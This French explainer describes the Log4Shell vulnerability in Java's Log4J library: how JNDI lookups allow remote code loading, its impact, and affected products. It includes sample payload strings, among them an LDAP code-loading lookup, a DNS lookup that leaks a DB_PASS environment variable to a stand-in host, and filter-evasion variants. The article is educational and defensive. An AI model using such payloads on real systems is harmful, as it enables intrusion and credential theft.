Log4Shell : causes et con­sé­quences de la vul­né­ra­bi­lité Java

À la fin de l’année 2021, la vul­né­ra­bi­lité Log4Shell a ébranlé le cy­be­res­pace. Des pirates in­for­ma­tiques ont fa­ci­le­ment pu s’in­tro­duire dans les systèmes de très grandes en­tre­prises. Découvrez avec nous Log4Shell et nos re­com­man­da­tions pour vous en prémunir.

La vul­né­ra­bi­lité Log4Shell est l’une des pires failles de sécurité Java dé­cou­vertes à ce jour. Cette vul­né­ra­bi­lité n’a pas uni­que­ment été exploitée pour récupérer des données sensibles ; elle per­met­tait également d’ouvrir un reverse shell à distance sur un système. Avec un reverse shell, les pirates in­for­ma­tiques peuvent implanter d’autres codes mal­veil­lants, voire prendre en­tiè­re­ment le contrôle d’un système. Aux États-Unis, la National Vul­ne­ra­bi­lity Database (NVD, base de données nationale des vul­né­ra­bi­li­tés) a attribué à la vul­né­ra­bi­lité Log4Shell la note la plus élevée, soit 10.0, et l’a qualifiée de « Critical » (critique).

Log4Shell est à ce jour reconnue comme l’une des pires vul­né­ra­bi­li­tés. La faille de sécurité sous-jacente se trouvait en effet dans une bi­blio­thèque de jour­na­li­sa­tion Java très populaire, Log4J. Lorsque la vul­né­ra­bi­lité Log4Shell a été dé­cou­verte, plus de 35 000 paquets de Maven Central (le plus important des ré­fé­ren­tiels Java) étaient concernés. Log4Shell a donc re­pré­senté une menace pour des milliers de produits et des centaines de four­nis­seurs. En plus des services de Cloud et des logiciels, leurs solutions ma­té­rielles ont elles aussi été touchées.

Fait par­ti­cu­liè­re­ment in­quié­tant, la vul­né­ra­bi­lité Log4Shell existe depuis 2013. Les pirates in­for­ma­tiques avaient donc la pos­si­bi­lité de s’in­tro­duire dans de nombreux systèmes, notamment ceux de grands four­nis­seurs, à l’insu du grand public. Il y a fort à parier que des or­ga­ni­sa­tions pro­fes­sion­nelles telles que les services de ren­seig­ne­ment et les pirates in­for­ma­tiques ont exploité ac­ti­ve­ment cette vul­né­ra­bi­lité pour s’en prendre à certains systèmes et s’emparer de leurs données.

Le nom de cette vul­né­ra­bi­lité, « Log4Shell », exprime à lui seul le principe de fonc­tion­ne­ment de celle-ci. Dans la bi­blio­thèque de jour­na­li­sa­tion Java Log4J, une vul­né­ra­bi­lité pouvait servir à lancer, à distance, un reverse shell sur un système. Mais en quoi consiste Log4J ? Et qu’est-ce qu’un reverse shell ?

Prise en charge par l’Apache Software Foun­da­tion, la bi­blio­thèque Log4J compte parmi les outils standard les plus po­pu­laires pour la jour­na­li­sa­tion Java. La jour­na­li­sa­tion est es­sen­tielle pour les grands systèmes qui génèrent, évaluent et stockent des données d’état de manière per­ma­nente. Les données d’en-tête trans­mises aux serveurs Web lors de requêtes HTTP sont notamment des in­for­ma­tions jour­na­li­sées par défaut. Voici l’exemple d’une entrée de journal Apache, avec la dernière partie cor­res­pon­dant à la chaîne de l’agent uti­li­sa­teur :

Un reverse shell peut être assimilé à un point d’entrée per­met­tant aux pirates in­for­ma­tiques de manipuler un système ou d’en prendre le contrôle à distance. L’uti­li­sa­tion d’un reverse shell est courant chez les pirates in­for­ma­tiques, mais il nécessite gé­né­ra­le­ment d’avoir accès au système concerné. La vul­né­ra­bi­lité Log4Shell permet justement de créer fa­ci­le­ment ce type d’accès.

Le principal problème de la vul­né­ra­bi­lité Log4Shell concerne l’uti­li­sa­tion des string subs­ti­tu­tions (ou subs­ti­tu­tions de chaînes) dans le cadre de la fonc­tion­na­lité Log4J. Ces subs­ti­tu­tions per­met­tent l’insertion de contenus dy­na­miques dans des espaces réservés. Elles fonc­tion­nent de la même manière que les subs­ti­tu­tions de variables dans les scripts shell. Pour des raisons de sécurité, il est nor­ma­le­ment im­pos­sible de manipuler le contenu de ces subs­ti­tu­tions en externe. C’est toutefois ce que permet la jour­na­li­sa­tion de données définies par l’uti­li­sa­teur, comme la chaîne de l’agent uti­li­sa­teur.

Découvrez la structure et le fonc­tion­ne­ment de ces subs­ti­tu­tions. La syntaxe générale d’une subs­ti­tu­tion comprend deux parties, un caractère générique (composé, comme dans les scripts shell, du signe « $ » suivi d’accolades), et une paire cons­ti­tuée d’un préfixe et d’un nom séparés par deux points :

Le préfixe vous renseigne sur le type de subs­ti­tu­tion à effectuer. Au moment de l’exécution, l’exemple de code suivant est remplacé par la version Java du système en cours d’uti­li­sa­tion :

Si cet exemple paraît anodin, il donne aux pirates in­for­ma­tiques la pos­si­bi­lité d’exploiter toutes les vul­né­ra­bi­li­tés connues de la version Java concernée. Parmi les subs­ti­tu­tions possibles, plusieurs sont en effet critiques pour la sécurité du système d’exécution. En ce qui concerne Log4Shell, les subs­ti­tu­tions des re­cherches JNDI sont d’ailleurs tris­te­ment célèbres.

La Java Naming and Directory Interface (JNDI) permet, à distance, de recharger des con­fi­gu­ra­tions depuis une classe Java locale. Cependant, il est également possible de charger des con­fi­gu­ra­tions à distance avec JNDI, depuis un système. Dans le cadre de Log4Shell, les pirates in­for­ma­tiques ont avant tout exploité des serveurs LDAP qu’ils con­trô­laient déjà. Ils ont utilisé ces derniers pour y implanter le code mal­veil­lant per­met­tant d’ouvrir le reverse shell. Une classe Java peut en effet ac­cueil­lir tout type de code.

Il leur a donc suffi d’in­tro­duire une chaîne de ca­rac­tères de forme ${jndi:ldap://example.com/evil-file} dans un système où Log4J était vul­né­rable. Plus tard, au moment de la re­cons­ti­tu­tion de la subs­ti­tu­tion, un code d’exploit peut être rechargé depuis un serveur LDAP déjà contrôlé. L’exploit est alors réalisé sur le système vul­né­rable. En fonction de sa cible, le pirate in­for­ma­tique peut ensuite installer un scareware ou d’autres logiciels mal­veil­lants.

En plus de JNDI, les pirates in­for­ma­tiques peuvent également faire appel aux préfixes « env » et « base64 ». Vous trouverez ci-dessous un aperçu des préfixes de subs­ti­tu­tion dis­po­nibles et du contexte dans lequel ils s’utilisent :

Pour tirer parti d’une vul­né­ra­bi­lité, il suffit d’appliquer une procédure spé­ci­fique. Il s’agit alors d’un exploit. Il n’est pas rare que plusieurs exploits con­cer­nent une même vul­né­ra­bi­lité ; c’est d’ailleurs le cas pour Log4Shell. Lorsque la vul­né­ra­bi­lité a été dé­cou­verte, deux types d’attaques ont prin­ci­pa­le­ment été recensés ; c’est l’appel JNDI utilisé qui permet de les dis­tin­guer.

1. Prendre le contrôle du serveur ou de l’appareil

Ce type d’attaques consiste à lancer un reverse shell sur le système ciblé. D’autres exploits peuvent être utilisés à cet effet, dès lors qu’il est possible d’exécuter un code mal­veil­lant au niveau du système cible. Si ce scénario a été rendu possible, c’est pré­ci­sé­ment à cause de la jour­na­li­sa­tion d’une chaîne de ca­rac­tères préparée à cet effet.

Pour attaquer un serveur Web vul­né­rable, il suffit d’in­ter­ro­ger n’importe quelle ressource, puis d’utiliser une chaîne d’exploits en tant qu’agent uti­li­sa­teur. Le serveur Web jour­na­lise la chaîne d’exploits, la subs­ti­tu­tion s’exécute et l’attaque peut commencer. Vous trouverez ci-dessous l’exemple d’une chaîne d’exploits jour­na­li­sée :

2. Mettre la main sur des données sensibles

Avec ces attaques, les pirates in­for­ma­tiques soutirent au système qu’ils prennent pour cible des données sensibles sous forme de variables d’en­vi­ron­ne­ment. L’exploit repose sur la création, dynamique et par subs­ti­tu­tion, d’une ré­so­lu­tion de noms DNS supposée. La valeur d’une variable d’en­vi­ron­ne­ment est donc codée de la même manière qu’un sous-domaine :

Quel que soit le cas, les pirates in­for­ma­tiques utilisent comme « tête de pont » un système qu’ils con­trô­lent déjà. Dans le premier cas de figure, un serveur LDAP délivre un code mal­veil­lant. Dans le second, le serveur de noms répondant à la requête DNS est contrôlé par des pirates in­for­ma­tiques. In­té­res­sons-nous de plus près à ce cas.

Imaginons que sur le système vul­né­rable, la variable d’en­vi­ron­ne­ment « DB_PASS » contient le mot de passe d’une base de données. Supposons également qu’il s’agisse de la valeur e3Ct­De­wUU­wA­fiwWTF­tAh­fettlQ2Lp5. La chaîne d’exploits ${jndi:dns://${env:DB_PASS}.example.com} génère une requête DNS pour le sous-domaine e3Ct­De­wUU­wA­fiwWTF­tAh­fettlQ2Lp5.example.com.

Pour example.com, la requête DNS est adressée au serveur de noms déjà contrôlé par le pirate in­for­ma­tique. Après avoir lu la valeur du sous-domaine, le serveur de noms mal­veil­lant décide de l’en­re­gis­trer. Les pirates in­for­ma­tiques peuvent ainsi trouver le mot de passe de la base de données de ce serveur vul­né­rable.

Dans le cadre de la vul­né­ra­bi­lité Log4Shell, le principal danger cor­res­pon­dait à la com­bi­nai­son des dif­fé­rents facteurs de risque. Nous allons passer en revue les plus im­por­tants d’entre eux :

1. Cette faille de sécurité Java vient de la bi­blio­thèque de jour­na­li­sa­tion.

À première vue, une bi­blio­thèque de jour­na­li­sa­tion telle que Log4J peut paraître plutôt inof­fen­sive. Tout comme une bi­blio­thèque d’au­then­ti­fi­ca­tion ou de chif­fre­ment, il convient toutefois de ne pas la négliger.

2. Java est très populaire.

Fait unique pour un langage et un en­vi­ron­ne­ment, Java peut fonc­tion­ner sur pra­ti­que­ment toutes les pla­te­formes. De ce fait, la vul­né­ra­bi­lité Log4Shell concerne donc un très grand nombre de pro­grammes et de services. De plus, Java est parfois intégré à des systèmes embarqués (routeurs, appareils issus de l’Internet des objets, etc.), c’est-à-dire qu’il peut être présent sur des caméras privées et autres appareils do­mo­tiques.

3. Tout un ensemble de tech­no­lo­gies est concerné.

Cette pro­blé­ma­tique de sécurité est liée à la con­ca­té­na­tion de plusieurs tech­no­lo­gies. La com­bi­nai­son entre Log4J, JNDI, un serveur LDAP et des subs­ti­tu­tions de chaînes est favorable à cette vul­né­ra­bi­lité et permet aux pirates in­for­ma­tiques d’attaquer.

4. Les exploits s’in­filtrent jusqu’à des niveaux plus profonds.

Dans le meilleur des cas, si une vul­né­ra­bi­lité touche uni­que­ment le système pris pour cible, les dégâts peuvent rester localisés. Imaginez toutefois qu’une interface Web reçoive et jour­na­lise une chaîne d’exploits. Cette chaîne d’exploits peut alors être com­mu­ni­quée à d’autres systèmes sous-jacents, sans s’activer avant d’y être évaluée.

5. Les chaînes d’exploits sont dif­fi­ci­le­ment dé­tec­tables.

Les subs­ti­tu­tions possibles étant très complexes, de nom­breuses options s’offrent aux pirates in­for­ma­tiques sou­hai­tant dis­si­mu­ler un code mal­veil­lant. Pour cette raison, il est possible d’imbriquer certaines subs­ti­tu­tions. La chaîne ${${lower:j}ndi} ne contient pas di­rec­te­ment la chaîne de ca­rac­tères jndi et ne peut donc pas être filtrée de manière au­to­ma­tique. La chaîne ${jndi} n’est créée qu’au moment de la ré­so­lu­tion. De plus, il est possible de dis­si­mu­ler certaines parties du code à l’aide d’un codage en Base64. La chaîne ${base64:SGVsbG8gV29ybGQhCg==} cor­res­pond donc à « Hello World! ».

Lorsque la vul­né­ra­bi­lité Log4Shell a été dé­cou­verte, les attaques de grande ampleur contre des systèmes du monde entier se sont mul­ti­pliées. Les pirates in­for­ma­tiques ont surtout pris le contrôle de serveurs et d’appareils, mais ils ont également réussi à s’emparer de certaines données sensibles. Dix jours après la di­vul­ga­tion de ces exploits, voici comment Wiz, une en­tre­prise spé­cia­liste de la cy­ber­sé­cu­rité, a résumé la situation :

Après avoir pris le contrôle de ces systèmes, les pirates in­for­ma­tiques les ont, entre autres, utilisés pour extorquer certaines cryp­to­mon­naies, créer des réseaux entiers de robots et envoyer des messages in­dé­si­rables. Ils sont également parvenus à créer des « backdoors » (ou portes dérobées) qui ont plus tard facilité certaines activités cri­mi­nelles, notamment les attaques par ran­som­ware. Lorsqu’une attaque est conçue pour passer inaperçue et percer les défenses d’autres systèmes, il s’agit alors d’Advanced Per­sis­tent Threats (APT, ou menaces per­sis­tantes avancées).

Dans l’ensemble, les grandes en­tre­prises ont réagi ra­pi­de­ment après la dé­cou­verte de Log4Shell et ont pris les mesures né­ces­saires pour protéger leurs systèmes. Il convient néanmoins de supposer que les systèmes n’ayant pas été corrigés sont toujours menacés par la vul­né­ra­bi­lité. En effet, les pirates in­for­ma­tiques ciblent gé­né­ra­le­ment un système qu’ils analysent pour tenter d’en trouver les failles.

Il peut s’avérer difficile d’iden­ti­fier les systèmes vul­né­rables, ce qui complique encore la lutte contre la vul­né­ra­bi­lité Log4Shell. Pour les ap­pli­ca­tions Java exécutées en tant que con­te­neurs ou dis­po­nibles sous la forme d’un fichier JAR archivé ou d’une image de conteneur, il n’est pas anodin de re­cher­cher les versions vul­né­rables de Log4J. Par exemple, si une version vul­né­rable est en cours d’uti­li­sa­tion sans que vous le sachiez, il vous est im­pos­sible de sécuriser celle-ci. Votre système reste donc menacé par la vul­né­ra­bi­lité Log4Shell.

Si vous êtes adepte de la domotique, d’autres systèmes issus de l’Internet des objets ou d’appareils embarqués, sachez qu’ils sont plus pro­blé­ma­tiques que les en­vi­ron­ne­ments de Cloud et de serveurs. Il peut notamment s’agir de vos routeurs privés, de vos caméras de sur­veil­lance, etc. Comme la vul­né­ra­bi­lité Log4Shell existe depuis de nom­breuses années, il est probable que certains appareils disposant d’une version non sécurisée soient toujours en service. Si le support technique a expiré ou si le four­nis­seur n’existe plus, cela signifie gé­né­ra­le­ment que les éventuels cor­rec­tifs ou mises à jour ne sont plus dis­po­nibles.

Vous pouvez retrouver la liste complète des logiciels touchés par Log4Shell sur GitHub. Cette liste est gérée depuis les Pays-Bas par le Nationaal Cyber Security Centrum (NCSC-NL), l’équi­valent de l’agence nationale de la sécurité des systèmes d’in­for­ma­tion (ANSSI) en France. Étant donnée la multitude de logiciels vul­né­rables, ce sont leurs fa­bri­cants res­pec­tifs qui ont été classés par ordre al­pha­bé­tique dans cette liste.

Les par­ti­cu­liers ont également été touchés par la vul­né­ra­bi­lité Log4Shell. Au moment de l’annonce, un grand nombre de services en ligne parmi les plus po­pu­laires étaient en effet vul­né­rables, dont notamment Minecraft, Steam, AWS et l’iCloud (Apple). Les prin­ci­paux four­nis­seurs ont pour la plupart réagi ra­pi­de­ment. Il n’est donc pas né­ces­saire que vous sup­pri­miez votre compte Steam ou que vous trouviez une solution de subs­ti­tu­tion à AWS.

Toutefois, si vous disposez de votre propre serveur Minecraft, nous vous con­seil­lons de le mettre à jour à la dernière version dis­po­nible. Dans les versions vul­né­rables, il suffit en effet d’envoyer une chaîne d’exploits sous forme d’un message ins­tan­tané pour prendre le contrôle du serveur ciblé.

Le matériel que vous utilisez chez vous ou dans votre petite en­tre­prise est concerné par la vul­né­ra­bi­lité Log4Shell ; ainsi, les uti­li­sa­teurs privés sont eux aussi menacés. En pré­sen­tant, par exemple, un code-barres spécial à une caméra de sur­veil­lance, les pirates in­for­ma­tiques peuvent prendre le contrôle de certains appareils.